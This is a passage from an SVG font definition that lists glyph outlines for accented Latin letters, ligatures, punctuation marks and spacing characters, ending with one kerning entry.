<glyph unicode="&#xd2;" horiz-adv-x="1646" d="M70 719q0 117 28.5 224.5t87.5 201t143.5 163t203.5 109t260 39.5t260.5 -40t204 -109.5t143.5 -163.5t87.5 -202.5t27.5 -225.5q-1 -115 -29.5 -222t-88 -201.5t-143.5 -164.5t-203 -111t-259 -41t-259.5 41t-203.5 112t-143.5 165.5t-88 202.5t-28.5 223zM178 717 q1 -124 40.5 -237t114 -203.5t193.5 -144.5t267 -54t268 54t194.5 144.5t114 203.5t39.5 237q0 127 -39 240t-113.5 202.5t-194 142t-269.5 52.5q-120 0 -221.5 -34t-173.5 -93t-122.5 -139.5t-74.5 -174.5t-23 -196zM575 1855v3h134l153 -246v-8h-98z" />
<glyph unicode="&#xd3;" horiz-adv-x="1646" d="M70 719q0 -115 28.5 -223t88 -202.5t143.5 -165.5t203.5 -112t259.5 -41t259 41t203 111t143.5 164.5t88 201.5t29.5 222q1 117 -27.5 225.5t-87.5 202.5t-143.5 163.5t-204 109.5t-260.5 40t-260 -39.5t-203.5 -109t-143.5 -163t-87.5 -201t-28.5 -224.5zM178 717 q-1 102 23 196t74.5 174.5t122.5 139.5t173.5 93t221.5 34q150 0 269.5 -52.5t194 -142t113.5 -202.5t39 -240q0 -124 -39.5 -237t-114 -203.5t-194.5 -144.5t-268 -54t-267 54t-193.5 144.5t-114 203.5t-40.5 237zM735 1604v8l154 246h133v-3l-188 -251h-99z" />
<glyph unicode="&#xd4;" horiz-adv-x="1646" d="M70 719q0 -115 28.5 -223t88 -202.5t143.5 -165.5t203.5 -112t259.5 -41t259 41t203 111t143.5 164.5t88 201.5t29.5 222q1 117 -27.5 225.5t-87.5 202.5t-143.5 163.5t-204 109.5t-260.5 40t-260 -39.5t-203.5 -109t-143.5 -163t-87.5 -201t-28.5 -224.5zM178 717 q-1 102 23 196t74.5 174.5t122.5 139.5t173.5 93t221.5 34q150 0 269.5 -52.5t194 -142t113.5 -202.5t39 -240q0 -124 -39.5 -237t-114 -203.5t-194.5 -144.5t-268 -54t-267 54t-193.5 144.5t-114 203.5t-40.5 237zM475 1595v15l291 270h82l291 -270v-15h-109l-223 197 l-223 -197h-109z" />
<glyph unicode="&#xd5;" horiz-adv-x="1646" d="M70 719q0 117 28.5 224.5t87.5 201t143.5 163t203.5 109t260 39.5t260.5 -40t204 -109.5t143.5 -163.5t87.5 -202.5t27.5 -225.5q-1 -115 -29.5 -222t-88 -201.5t-143.5 -164.5t-203 -111t-259 -41t-259.5 41t-203.5 112t-143.5 165.5t-88 202.5t-28.5 223zM178 717 q1 -124 40.5 -237t114 -203.5t193.5 -144.5t267 -54t268 54t194.5 144.5t114 203.5t39.5 237q0 127 -39 240t-113.5 202.5t-194 142t-269.5 52.5q-120 0 -221.5 -34t-173.5 -93t-122.5 -139.5t-74.5 -174.5t-23 -196zM539 1657q7 59 44 96.5t85 41t100 -18.5l84 -45 q26 -10 50.5 -12t45.5 15t29 50l70 -23q-6 -61 -43.5 -98t-86 -40t-100.5 19l-84 46q-36 20 -75 7t-50 -61z" />
<glyph unicode="&#xd6;" horiz-adv-x="1646" d="M70 719q0 -115 28.5 -223t88 -202.5t143.5 -165.5t203.5 -112t259.5 -41t259 41t203 111t143.5 164.5t88 201.5t29.5 222q1 117 -27.5 225.5t-87.5 202.5t-143.5 163.5t-204 109.5t-260.5 40t-260 -39.5t-203.5 -109t-143.5 -163t-87.5 -201t-28.5 -224.5zM178 717 q-1 102 23 196t74.5 174.5t122.5 139.5t173.5 93t221.5 34q150 0 269.5 -52.5t194 -142t113.5 -202.5t39 -240q0 -124 -39.5 -237t-114 -203.5t-194.5 -144.5t-268 -54t-267 54t-193.5 144.5t-114 203.5t-40.5 237zM516 1683q0 50 40.5 70.5t81 0t40.5 -70.5t-40.5 -70.5 t-81 0t-40.5 70.5zM954 1683q0 50 40.5 70.5t81 0t40.5 -70.5t-40.5 -70.5t-81 0t-40.5 70.5z" />
<glyph unicode="&#xd7;" horiz-adv-x="870" d="M78 401l260 263l-254 251l63 64l254 -252l250 250l70 -68l-252 -252l254 -251l-64 -64l-253 252l-261 -260z" />
<glyph unicode="&#xd8;" horiz-adv-x="1646" d="M70 719q0 117 28.5 224.5t87.5 201t143.5 163t203.5 109t260 39.5q195 0 348 -78l102 181h111l-131 -228q144 -100 218.5 -263t74.5 -353q-1 -115 -29.5 -222t-88 -201.5t-143.5 -164.5t-203 -111t-259 -41q-162 0 -308 58l-110 -195h-109l135 238q-161 98 -246 270.5 t-85 372.5zM178 717q0 -167 72 -314t205 -233l635 1118q-135 66 -297 66q-120 0 -221.5 -34t-173.5 -93t-122.5 -139.5t-74.5 -174.5t-23 -196zM539 125q112 -47 254 -47q148 0 268 54t194.5 144.5t114 203.5t39.5 237q0 158 -61 295.5t-177 224.5z" />
<glyph unicode="&#xd9;" horiz-adv-x="1398" d="M131 543v891h109v-891q0 -111 38 -201.5t99.5 -145.5t141 -85t161.5 -30t161.5 30t141 85.5t99.5 145.5t38 201v891h109v-891q0 -136 -47 -245.5t-124.5 -177t-176 -104.5t-201.5 -37t-201.5 36.5t-176 104t-124.5 177.5t-47 246zM481 1837v2h133l154 -246v-8h-98z" />
<glyph unicode="&#xda;" horiz-adv-x="1398" d="M131 543q0 -136 47 -246t124.5 -177.5t176 -104t201.5 -36.5t201.5 37t176 104.5t124.5 177t47 245.5v891h-109v-891q0 -111 -38 -201t-99.5 -145.5t-141 -85.5t-161.5 -30t-161.5 30t-141 85t-99.5 145.5t-38 201.5v891h-109v-891zM596 1587v8l154 246h133v-2l-189 -252 h-98z" />
<glyph unicode="&#xdb;" horiz-adv-x="1398" d="M131 543q0 -136 47 -246t124.5 -177.5t176 -104t201.5 -36.5t201.5 37t176 104.5t124.5 177t47 245.5v891h-109v-891q0 -111 -38 -201t-99.5 -145.5t-141 -85.5t-161.5 -30t-161.5 30t-141 85t-99.5 145.5t-38 201.5v891h-109v-891zM348 1573v14l291 271h82l291 -271v-14 h-109l-223 196l-223 -196h-109z" />
<glyph unicode="&#xdc;" horiz-adv-x="1398" d="M131 543q0 -136 47 -246t124.5 -177.5t176 -104t201.5 -36.5t201.5 37t176 104.5t124.5 177t47 245.5v891h-109v-891q0 -111 -38 -201t-99.5 -145.5t-141 -85.5t-161.5 -30t-161.5 30t-141 85t-99.5 145.5t-38 201.5v891h-109v-891zM381 1677q0 50 40.5 70.5t81 0 t40.5 -70.5t-40.5 -70.5t-81 0t-40.5 70.5zM819 1677q0 50 40.5 70.5t81 0t40.5 -70.5t-40.5 -70.5t-81 0t-40.5 70.5z" />
<glyph unicode="&#xdd;" horiz-adv-x="1308" d="M8 1432l559 -859v-573h111v573l561 859v2h-129l-487 -754l-486 754h-129v-2zM541 1591v8l153 246h133v-2l-188 -252h-98z" />
<glyph unicode="&#xde;" horiz-adv-x="1339" d="M137 0v1432h103v-250h526q113 0 204 -40.5t147 -106.5t86.5 -150t30.5 -172t-30.5 -172t-86.5 -150t-147 -106.5t-204 -40.5h-524v-244h-105zM242 344h524q86 0 156 31.5t113 83.5t66 118t23 134.5t-23 134.5t-66 118t-113 83.5t-156 31.5h-524v-735z" />
<glyph unicode="&#xdf;" horiz-adv-x="1202" d="M117 0v1061q0 99 33.5 176t92 124t134.5 71t164 24q92 0 169 -21.5t138 -64.5t95 -115.5t34 -167.5q0 -110 -62 -192.5t-167 -108.5q164 -34 243.5 -140.5t79.5 -270.5q0 -119 -45 -206.5t-118 -132t-166 -61t-190.5 -2.5t-189.5 52v94q87 -42 176 -56.5t166.5 0 t138.5 52.5t96.5 105t35.5 153t-25.5 151t-66 103.5t-99.5 62.5t-117.5 32.5t-129.5 8.5h-175v90h166q47 0 91.5 6.5t93 24.5t84.5 46.5t59 77t23 111.5q0 67 -21 117.5t-53 80t-78 48t-89.5 25t-92.5 6.5q-89 0 -153 -22.5t-101 -64.5t-55 -95.5t-21 -122.5v-1059h-98z" />
<glyph unicode="&#xe0;" d="M57 506q0 151 69.5 270.5t186.5 183.5t258 64q129 0 241 -59.5t173 -173.5v221h100v-1012h-100v215q-71 -115 -179 -173t-235 -58q-141 0 -258 65t-186.5 185.5t-69.5 271.5zM158 506q0 -187 119 -305.5t294 -118.5q102 0 184.5 36.5t133 96t78 135.5t27.5 155t-27.5 155 t-78 135.5t-133 96t-184.5 36.5q-175 0 -294 -117.5t-119 -304.5zM389 1448v2h133l154 -246v-8h-98z" />
<glyph unicode="&#xe1;" d="M57 506q0 -151 69.5 -271.5t186.5 -185.5t258 -65q127 0 235 58t179 173v-215h100v1012h-100v-221q-61 114 -173 173.5t-241 59.5q-141 0 -258 -64t-186.5 -183.5t-69.5 -270.5zM158 506q0 187 119 304.5t294 117.5q102 0 184.5 -36.5t133 -96t78 -135.5t27.5 -155 t-27.5 -155t-78 -135.5t-133 -96t-184.5 -36.5q-175 0 -294 118.5t-119 305.5zM508 1192v8l154 246h133v-2l-189 -252h-98z" />
<glyph unicode="&#xe2;" d="M57 506q0 -151 69.5 -271.5t186.5 -185.5t258 -65q127 0 235 58t179 173v-215h100v1012h-100v-221q-61 114 -173 173.5t-241 59.5q-141 0 -258 -64t-186.5 -183.5t-69.5 -270.5zM158 506q0 187 119 304.5t294 117.5q102 0 184.5 -36.5t133 -96t78 -135.5t27.5 -155 t-27.5 -155t-78 -135.5t-133 -96t-184.5 -36.5q-175 0 -294 118.5t-119 305.5zM260 1155v14l291 271h82l291 -271v-14h-109l-223 197l-223 -197h-109z" />
<glyph unicode="&#xe3;" d="M57 506q0 151 69.5 270.5t186.5 183.5t258 64q129 0 241 -59.5t173 -173.5v221h100v-1012h-100v215q-71 -115 -179 -173t-235 -58q-141 0 -258 65t-186.5 185.5t-69.5 271.5zM158 506q0 -187 119 -305.5t294 -118.5q102 0 184.5 36.5t133 96t78 135.5t27.5 155t-27.5 155 t-78 135.5t-133 96t-184.5 36.5q-175 0 -294 -117.5t-119 -304.5zM342 1298q7 59 44 96.5t85 41t100 -18.5l84 -45q26 -10 50.5 -12t45.5 15t29 50l70 -22q-6 -61 -43 -98t-85.5 -40t-100.5 19l-84 45q-36 20 -75 7.5t-50 -60.5z" />
<glyph unicode="&#xe4;" d="M57 506q0 -151 69.5 -271.5t186.5 -185.5t258 -65q127 0 235 58t179 173v-215h100v1012h-100v-221q-61 114 -173 173.5t-241 59.5q-141 0 -258 -64t-186.5 -183.5t-69.5 -270.5zM158 506q0 187 119 304.5t294 117.5q102 0 184.5 -36.5t133 -96t78 -135.5t27.5 -155 t-27.5 -155t-78 -135.5t-133 -96t-184.5 -36.5q-175 0 -294 118.5t-119 305.5zM311 1368q0 50 40.5 70.5t81 0t40.5 -70.5t-40.5 -70.5t-81 0t-40.5 70.5zM750 1368q0 50 40 70.5t80.5 0t40.5 -70.5t-40.5 -70.5t-80.5 0t-40 70.5z" />
<glyph unicode="&#xe5;" d="M57 506q0 151 69.5 270.5t186.5 183.5t258 64q129 0 241 -59.5t173 -173.5v221h100v-1012h-100v215q-71 -115 -179 -173t-235 -58q-141 0 -258 65t-186.5 185.5t-69.5 271.5zM158 506q0 -187 119 -305.5t294 -118.5q102 0 184.5 36.5t133 96t78 135.5t27.5 155t-27.5 155 t-78 135.5t-133 96t-184.5 36.5q-175 0 -294 -117.5t-119 -304.5zM385 1335q0 88 62 137.5t151 49.5t154 -49.5t65 -137.5q0 -90 -62 -141t-159 -51t-154 51t-57 141zM475 1335.5q0 -42.5 32 -77.5t89 -35q48 0 81.5 23t41 56.5t0 66.5t-41 56t-81.5 23q-57 0 -89 -35 t-32 -77.5z" />
<glyph unicode="&#xe6;" horiz-adv-x="2134" d="M57 506q0 151 69.5 270.5t186.5 183.5t258 64q130 0 245 -60t175 -173v221h84v-213q64 107 171.5 168t240.5 61q87 0 165 -21t145 -66t113 -110.5t67 -161t10 -210.5h-916q15 -173 134 -274t282 -101q105 0 207 41t157 113l72 -58q-71 -93 -190 -143.5t-246 -50.5 q-135 0 -244 57.5t-172 161.5v-205h-84v215q-71 -115 -180 -173t-236 -58q-141 0 -258 65t-186.5 185.5t-69.5 271.5zM158 506q0 -187 119 -305.5t294 -118.5q102 0 185 36.5t133.5 96t78 135.5t27.5 155t-27.5 155t-78 135.5t-133.5 96t-185 36.5q-175 0 -294 -117.5 t-119 -304.5zM1071 547h825q-1 185 -112 287t-297 102q-163 0 -281 -104.5t-135 -284.5z" />
<glyph unicode="&#xe7;" horiz-adv-x="1034" d="M53 506q0 234 147.5 375t372.5 141q101 0 197.5 -39t171.5 -113l-65 -63q-60 60 -139.5 90.5t-164.5 30.5q-86 0 -162 -28t-134 -80.5t-91.5 -133.5t-33.5 -180t33.5 -180t91.5 -133.5t134 -80.5t162 -28q83 0 161.5 32t139.5 93l68 -68q-75 -75 -171 -113t-198 -38h-2 l-22 -99q79 4 128.5 -27.5t63 -78.5t0.5 -100q-19 -71 -78.5 -107.5t-132.5 -36.5q-66 0 -124 28t-87 81l58 55q56 -80 153 -80q46 0 82.5 20t46.5 58q19 62 -33 101t-159 16l-12 10l37 166q-191 26 -315 163t-124 347z" />
<glyph unicode="&#xe8;" horiz-adv-x="1216" d="M55 506q0 148 69 268.5t186.5 187t258.5 66.5q87 0 165 -21t145 -66t113 -110.5t67 -161t10 -210.5h-911q15 -173 131.5 -274t279.5 -101q105 0 207.5 41t157.5 113l72 -58q-71 -93 -190.5 -143.5t-246.5 -50.5q-143 0 -259 62t-185.5 181.5t-69.5 276.5zM158 547h821 q-1 185 -112.5 287t-297.5 102q-162 0 -278 -104t-133 -285zM395 1434v2h133l154 -246v-8h-98z" />
<glyph unicode="&#xe9;" horiz-adv-x="1216" d="M55 506q0 -157 69.5 -276.5t185.5 -181.5t259 -62q127 0 246.5 50.5t190.5 143.5l-72 58q-55 -72 -157.5 -113t-207.5 -41q-163 0 -279.5 101t-131.5 274h911q11 115 -10 210.5t-67 161t-113 110.5t-145 66t-165 21q-141 0 -258.5 -66.5t-186.5 -187t-69 -268.5zM158 547 q17 181 133 285t278 104q186 0 297.5 -102t112.5 -287h-821zM500 1182v8l153 246h133v-2l-188 -252h-98z" />
<glyph unicode="&#xea;" horiz-adv-x="1216" d="M55 506q0 -157 69.5 -276.5t185.5 -181.5t259 -62q127 0 246.5 50.5t190.5 143.5l-72 58q-55 -72 -157.5 -113t-207.5 -41q-163 0 -279.5 101t-131.5 274h911q11 115 -10 210.5t-67 161t-113 110.5t-145 66t-165 21q-141 0 -258.5 -66.5t-186.5 -187t-69 -268.5zM158 547 q17 181 133 285t278 104q186 0 297.5 -102t112.5 -287h-821zM254 1151v14l291 271h82l291 -271v-14h-109l-223 197l-224 -197h-108z" />
<glyph unicode="&#xeb;" horiz-adv-x="1216" d="M55 506q0 -157 69.5 -276.5t185.5 -181.5t259 -62q127 0 246.5 50.5t190.5 143.5l-72 58q-55 -72 -157.5 -113t-207.5 -41q-163 0 -279.5 101t-131.5 274h911q11 115 -10 210.5t-67 161t-113 110.5t-145 66t-165 21q-141 0 -258.5 -66.5t-186.5 -187t-69 -268.5zM158 547 q17 181 133 285t278 104q186 0 297.5 -102t112.5 -287h-821zM285 1354q0 50 40.5 70.5t80.5 0t40 -70.5t-40 -70.5t-80.5 0t-40.5 70.5zM723 1354q0 50 40.5 70.5t81 0t40.5 -70.5t-40.5 -70.5t-81 0t-40.5 70.5z" />
<glyph unicode="&#xec;" horiz-adv-x="352" d="M-18 1434v2h114l115 -240v-8h-94zM106 0v1016h101v-1016h-101z" />
<glyph unicode="&#xed;" horiz-adv-x="360" d="M84 1188v8l115 240h114v-2l-135 -246h-94zM94 0h101v1016h-101v-1016z" />
<glyph unicode="&#xee;" horiz-adv-x="393" d="M-61 1176v14l200 246h64l190 -246v-14h-86l-137 172l-143 -172h-88zM113 0h100v1016h-100v-1016z" />
<glyph unicode="&#xef;" horiz-adv-x="395" d="M-55 1348q0 46 38 65t76.5 0t38.5 -65t-38 -65t-76.5 0t-38.5 65zM113 0h100v1016h-100v-1016zM227 1348q0 46 38 65t76 0t38 -65t-38 -65t-76 0t-38 65z" />
<glyph unicode="&#xf0;" horiz-adv-x="1220" d="M63 488q0 96 34 187.5t96 163.5t164 116t227 44q213 0 379 -159q-30 102 -110.5 200t-190.5 172l-87 -122l-65 45l84 120q-113 63 -213 88l29 87q136 -45 237 -101l96 137l66 -45l-94 -133q382 -257 389 -770q3 -241 -138.5 -391t-381.5 -150q-125 0 -227 44t-164 116 t-96 163.5t-34 187.5zM166 489.5q0 -78.5 27 -153.5t77 -133.5t131.5 -94.5t182.5 -36t182.5 36t131.5 94.5t77 133.5t27 153.5t-27 153.5t-77 133.5t-131.5 94.5t-182.5 36t-182.5 -36t-131.5 -94.5t-77 -133.5t-27 -153.5z" />
<glyph unicode="&#xf1;" horiz-adv-x="1177" d="M113 0v1012h98v-181q56 99 151.5 148t208.5 51q206 0 331.5 -119t125.5 -327v-584h-100v582q0 169 -97 260.5t-264 89.5q-156 -1 -255 -106t-99 -263v-563h-100zM315 1300q7 55 44 89.5t85 38t99 -16.5l84 -43q36 -18 75 -6.5t50 55.5l69 -20q-6 -56 -43 -90.5 t-85.5 -37.5t-100.5 17l-84 43q-34 18 -73 6t-50 -55z" />
<glyph unicode="&#xf2;" horiz-adv-x="1212" d="M66 504q0 157 69 278t185.5 184.5t259.5 63.5t259.5 -63.5t185.5 -184.5t69 -278q0 -235 -147 -376.5t-367 -141.5t-367 141.5t-147 376.5zM164 504q0 -191 119.5 -305.5t296.5 -114.5t296 114.5t119 305.5q0 192 -119.5 312t-295.5 120t-296 -120t-120 -312zM377 1444v2 h133l154 -238v-8h-99z" />
<glyph unicode="&#xf3;" horiz-adv-x="1212" d="M66 504q0 -235 147 -376.5t367 -141.5t367 141.5t147 376.5q0 157 -69 278t-185.5 184.5t-259.5 63.5t-259.5 -63.5t-185.5 -184.5t-69 -278zM164 504q0 192 120 312t296 120t295.5 -120t119.5 -312q0 -191 -119 -305.5t-296 -114.5t-296.5 114.5t-119.5 305.5zM514 1188 v8l148 229h129v-2l-183 -235h-94z" />
<glyph unicode="&#xf4;" horiz-adv-x="1212" d="M66 504q0 -235 147 -376.5t367 -141.5t367 141.5t147 376.5q0 157 -69 278t-185.5 184.5t-259.5 63.5t-259.5 -63.5t-185.5 -184.5t-69 -278zM164 504q0 192 120 312t296 120t295.5 -120t119.5 -312q0 -191 -119 -305.5t-296 -114.5t-296.5 114.5t-119.5 305.5zM262 1171 v15l291 270h82l291 -270v-15h-109l-223 197l-223 -197h-109z" />
<glyph unicode="&#xf5;" horiz-adv-x="1212" d="M66 504q0 157 69 278t185.5 184.5t259.5 63.5t259.5 -63.5t185.5 -184.5t69 -278q0 -235 -147 -376.5t-367 -141.5t-367 141.5t-147 376.5zM164 504q0 -191 119.5 -305.5t296.5 -114.5t296 114.5t119 305.5q0 192 -119.5 312t-295.5 120t-296 -120t-120 -312zM336 1294 q7 57 44 93t86 39.5t101 -17.5l84 -43q26 -12 50.5 -12.5t45.5 15.5t29 48l70 -20q-6 -59 -43.5 -95.5t-86 -39t-100.5 19.5l-84 43q-37 18 -76 6.5t-50 -57.5z" />
<glyph unicode="&#xf6;" horiz-adv-x="1212" d="M66 504q0 -235 147 -376.5t367 -141.5t367 141.5t147 376.5q0 157 -69 278t-185.5 184.5t-259.5 63.5t-259.5 -63.5t-185.5 -184.5t-69 -278zM164 504q0 192 120 312t296 120t295.5 -120t119.5 -312q0 -191 -119 -305.5t-296 -114.5t-296.5 114.5t-119.5 305.5zM291 1317 q0 50 40.5 70.5t81 0t40.5 -70.5t-40.5 -70.5t-81 0t-40.5 70.5zM729 1317q0 50 40.5 70.5t81 0t40.5 -70.5t-40.5 -70.5t-81 0t-40.5 70.5z" />
<glyph unicode="&#xf7;" horiz-adv-x="993" d="M74 633h827v102h-827v-102zM412 367q0 50 40 70.5t80.5 0t40.5 -70.5t-40.5 -70.5t-80.5 0t-40 70.5zM412 991q0 50 40 70.5t80.5 0t40.5 -70.5t-40.5 -70.5t-80.5 0t-40 70.5z" />
<glyph unicode="&#xf8;" horiz-adv-x="1212" d="M66 504q0 157 69 278t185.5 184.5t259.5 63.5q128 0 237 -53l76 127h104l-104 -174q93 -69 147 -179.5t54 -246.5q0 -235 -147 -376.5t-367 -141.5q-127 0 -226 45l-84 -142h-102l111 185q-100 66 -156.5 176.5t-56.5 253.5zM164 504q0 -114 44 -202t122 -142l436 733 q-88 43 -186 43q-176 0 -296 -120t-120 -312zM408 117q73 -33 172 -33q177 0 296 114.5t119 305.5q0 108 -40.5 196t-112.5 146z" />
<glyph unicode="&#xf9;" horiz-adv-x="1177" d="M111 430v584h100v-582q0 -169 96.5 -260.5t263.5 -89.5q156 1 255.5 106t99.5 263v563h100v-1014h-98v182q-56 -99 -152 -147.5t-209 -50.5q-206 0 -331 119t-125 327zM379 1434v2h133l154 -246v-8h-99z" />
<glyph unicode="&#xfa;" horiz-adv-x="1177" d="M111 430q0 -208 125 -327t331 -119q113 2 209 50.5t152 147.5v-182h98v1014h-100v-563q0 -158 -99.5 -263t-255.5 -106q-167 -2 -263.5 89.5t-96.5 260.5v582h-100v-584zM506 1182v8l153 246h134v-2l-189 -252h-98z" />
<glyph unicode="&#xfb;" horiz-adv-x="1177" d="M111 430q0 -208 125 -327t331 -119q113 2 209 50.5t152 147.5v-182h98v1014h-100v-563q0 -158 -99.5 -263t-255.5 -106q-167 -2 -263.5 89.5t-96.5 260.5v582h-100v-584zM256 1161v15l281 260h79l281 -260v-15h-104l-218 189l-215 -189h-104z" />
<glyph unicode="&#xfc;" horiz-adv-x="1177" d="M111 430q0 -208 125 -327t331 -119q113 2 209 50.5t152 147.5v-182h98v1014h-100v-563q0 -158 -99.5 -263t-255.5 -106q-167 -2 -263.5 89.5t-96.5 260.5v582h-100v-584zM287 1354q0 50 40.5 70.5t81 0t40.5 -70.5t-40.5 -70.5t-81 0t-40.5 70.5zM725 1354 q0 50 40.5 70.5t81 0t40.5 -70.5t-40.5 -70.5t-81 0t-40.5 70.5z" />
<glyph unicode="&#xfd;" horiz-adv-x="1058" d="M35 1012l405 -1000l-186 -434h106l617 1434h-109l-254 -596l-116 -295l-119 293l-236 598h-108zM436 1196v8l144 232h127v-2l-179 -238h-92z" />
<glyph unicode="&#xfe;" horiz-adv-x="1273" d="M119 -422v1854h94l2 -660q61 117 177.5 185.5t262.5 68.5q214 -8 353 -146t139 -374q0 -124 -40 -224.5t-110 -165.5t-163 -99.5t-201 -34.5q-133 0 -244 64t-174 187v-655h-96zM223 504q0 -185 117.5 -305.5t292.5 -120.5q180 0 297 111.5t117 316.5t-116.5 314.5 t-297.5 109.5q-177 0 -293.5 -120t-116.5 -306z" />
<glyph unicode="&#xff;" horiz-adv-x="1058" d="M35 1012l405 -1000l-186 -434h106l617 1434h-109l-254 -596l-116 -295l-119 293l-236 598h-108zM229 1366q0 36 24 56.5t53 20.5t53 -20.5t24 -56.5q0 -47 -38.5 -66.5t-77 0t-38.5 66.5zM647 1366q0 36 24 56.5t53 20.5t53 -20.5t24 -56.5q0 -47 -38.5 -66.5t-77 0 t-38.5 66.5z" />
<glyph unicode="&#x152;" horiz-adv-x="1998" d="M109 719q0 117 28.5 223.5t87 198.5t143 160t203.5 106.5t260 38.5q79 0 146 -12h831v-99h-741v-563h696v-100h-696v-574h772v-98h-866q-75 -10 -142 -10q-140 0 -259 39.5t-203.5 108t-143.5 161t-87.5 199t-28.5 221.5zM217 717q1 -124 40.5 -236.5t113.5 -202 t193 -143t267 -53.5q75 0 142 12v1254q-67 12 -142 12q-120 0 -221.5 -34.5t-173.5 -94.5t-122 -141.5t-74 -176t-23 -196.5z" />
<glyph unicode="&#x153;" horiz-adv-x="2209" d="M102 504q0 157 69 278t185.5 184.5t259.5 63.5q160 0 280 -81.5t175 -227.5q55 138 176 222.5t275 84.5q110 0 203 -34t163.5 -101.5t104.5 -179t20 -254.5q-594 0 -897 -2q15 -172 129.5 -272.5t276.5 -100.5q104 0 202.5 40.5t153.5 113.5l72 -58q-71 -94 -186.5 -144 t-241.5 -50q-155 0 -276.5 82t-174.5 217q-55 -142 -175 -220.5t-280 -78.5q-220 0 -367 141.5t-147 376.5zM201 504q0 -191 119 -305.5t296 -114.5t294.5 114t117.5 306q0 193 -118.5 312.5t-293.5 119.5q-176 0 -295.5 -120t-119.5 -312zM1116 547h807q-1 185 -108.5 287 t-292.5 102q-162 0 -275.5 -104t-130.5 -285z" />
<glyph unicode="&#x178;" horiz-adv-x="1308" d="M8 1432l559 -859v-573h111v573l561 859v2h-129l-487 -754l-486 754h-129v-2zM322 1651q0 50 40 70.5t80.5 0t40.5 -70.5t-40.5 -70.5t-80.5 0t-40 70.5zM760 1651q0 50 40.5 70.5t81 0t40.5 -70.5t-40.5 -70.5t-81 0t-40.5 70.5z" />
<glyph unicode="&#x2c6;" horiz-adv-x="862" d="M74 1151v14l291 271h81l291 -271v-14h-108l-223 197l-224 -197h-108z" />
<glyph unicode="&#x2dc;" horiz-adv-x="665" d="M63 1309q7 59 44 96t85.5 40.5t100.5 -18.5l84 -45q26 -10 50.5 -11.5t45.5 15.5t29 50l69 -23q-6 -61 -43 -98t-85.5 -40t-100.5 19l-84 45q-36 20 -75 7.5t-50 -60.5z" />
<glyph unicode="&#x2000;" horiz-adv-x="940" />
<glyph unicode="&#x2001;" horiz-adv-x="1880" />
<glyph unicode="&#x2002;" horiz-adv-x="940" />
<glyph unicode="&#x2003;" horiz-adv-x="1880" />
<glyph unicode="&#x2004;" horiz-adv-x="626" />
<glyph unicode="&#x2005;" horiz-adv-x="470" />
<glyph unicode="&#x2006;" horiz-adv-x="313" />
<glyph unicode="&#x2007;" horiz-adv-x="313" />
<glyph unicode="&#x2008;" horiz-adv-x="235" />
<glyph unicode="&#x2009;" horiz-adv-x="376" />
<glyph unicode="&#x200a;" horiz-adv-x="104" />
<glyph unicode="&#x2010;" horiz-adv-x="978" d="M119 592v106h717v-106h-717z" />
<glyph unicode="&#x2011;" horiz-adv-x="978" d="M119 592v106h717v-106h-717z" />
<glyph unicode="&#x2012;" horiz-adv-x="978" d="M119 592v106h717v-106h-717z" />
<glyph unicode="&#x2013;" horiz-adv-x="1124" d="M66 573v105h913v-105h-913z" />
<glyph unicode="&#x2014;" horiz-adv-x="1339" d="M80 573v105h1132v-105h-1132z" />
<glyph unicode="&#x2018;" horiz-adv-x="419" d="M86 1055l133 385h90l-106 -385h-117z" />
<glyph unicode="&#x2019;" horiz-adv-x="409" d="M84 1051l106 385h117l-133 -385h-90z" />
<glyph unicode="&#x201a;" horiz-adv-x="405" d="M78 -182l63 170q-49 18 -49 73q0 50 40.5 70.5t81 0t40.5 -70.5q0 -16 -6 -34l-82 -209h-88z" />
<glyph unicode="&#x201c;" horiz-adv-x="704" d="M82 1051l133 385h90l-106 -385h-117zM340 1051l133 385h90l-106 -385h-117z" />
<glyph unicode="&#x201d;" horiz-adv-x="686" d="M84 1051l106 385h117l-133 -385h-90zM342 1051l107 385h116l-133 -385h-90z" />
<glyph unicode="&#x201e;" horiz-adv-x="651" d="M78 -182l63 170q-49 18 -49 73q0 50 40.5 70.5t81 0t40.5 -70.5q0 -16 -6 -34l-82 -209h-88zM367 -182l63 170q-49 18 -49 73q0 50 40.5 70.5t81 0t40.5 -70.5q0 -16 -6 -34l-82 -209h-88z" />
<glyph unicode="&#x2022;" horiz-adv-x="675" d="M100 715q0 88 56.5 142t144.5 54q85 0 141 -54t56 -142t-56 -142.5t-141 -54.5q-87 0 -144 54.5t-57 142.5z" />
<glyph unicode="&#x2026;" horiz-adv-x="1085" d="M74 61q0 50 40.5 70.5t81 0t40.5 -70.5t-40.5 -70.5t-81 0t-40.5 70.5zM428 61q0 50 40.5 70.5t81 0t40.5 -70.5t-40.5 -70.5t-81 0t-40.5 70.5zM778 61q0 50 40.5 70.5t81 0t40.5 -70.5t-40.5 -70.5t-81 0t-40.5 70.5z" />
<glyph unicode="&#x202f;" horiz-adv-x="376" />
<glyph unicode="&#x2039;" horiz-adv-x="608" d="M61 649l283 449h107v-11l-277 -438l277 -438v-12h-107z" />
<glyph unicode="&#x203a;" horiz-adv-x="608" d="M102 199v12l277 438l-277 438v11h107l283 -449l-283 -450h-107z" />
<glyph unicode="&#x205f;" horiz-adv-x="470" />
<glyph unicode="&#x20ac;" horiz-adv-x="1200" d="M25 557v94h118q-2 14 -2 58q0 43 2 63h-118v94h131q17 126 69.5 231t137.5 184.5t211 124t280 44.5q89 0 203 -31l-23 -88q-92 25 -180 25q-256 0 -402.5 -126t-185.5 -364h559l-26 -94h-547q-2 -18 -2 -59q0 -48 2 -62h518l-20 -94h-484q34 -229 182 -350t406 -121 q116 0 225 41l29 -98q-127 -45 -254 -45q-306 0 -477.5 150t-220.5 423h-131z" />
<glyph unicode="&#x2122;" horiz-adv-x="1552" d="M61 1352v82h560v-82h-234v-492h-96v492h-230zM731 860v574h90l236 -301l237 301h86v-574h-96v414l-221 -270h-19l-217 278v-422h-96z" />
<glyph unicode="&#xe000;" horiz-adv-x="1013" d="M0 0v1014h1014v-1014h-1014z" />
<glyph unicode="&#xfb01;" horiz-adv-x="983" d="M10 924v88h207v82q0 86 28.5 155.5t76 112.5t110 67t129 23.5t135.5 -24.5t127 -70l-45 -76q-38 28 -86.5 47t-100 25.5t-101 -5.5t-88.5 -40t-63 -83.5t-24 -131.5v-82h510v-1012h-100v924h-410v-924h-98v924h-207z" />
<glyph unicode="&#xfb02;" horiz-adv-x="952" d="M10 918v86h207v90q0 171 70.5 258.5t232.5 87.5q146 0 248 -97v-1343h-100v1305q-57 43 -152 43q-101 0 -151 -57t-50 -197v-90h260v-86h-260v-918h-98v918h-207z" />
<hkern u1="&#x22;" u2="&#x178;" k="-31" />
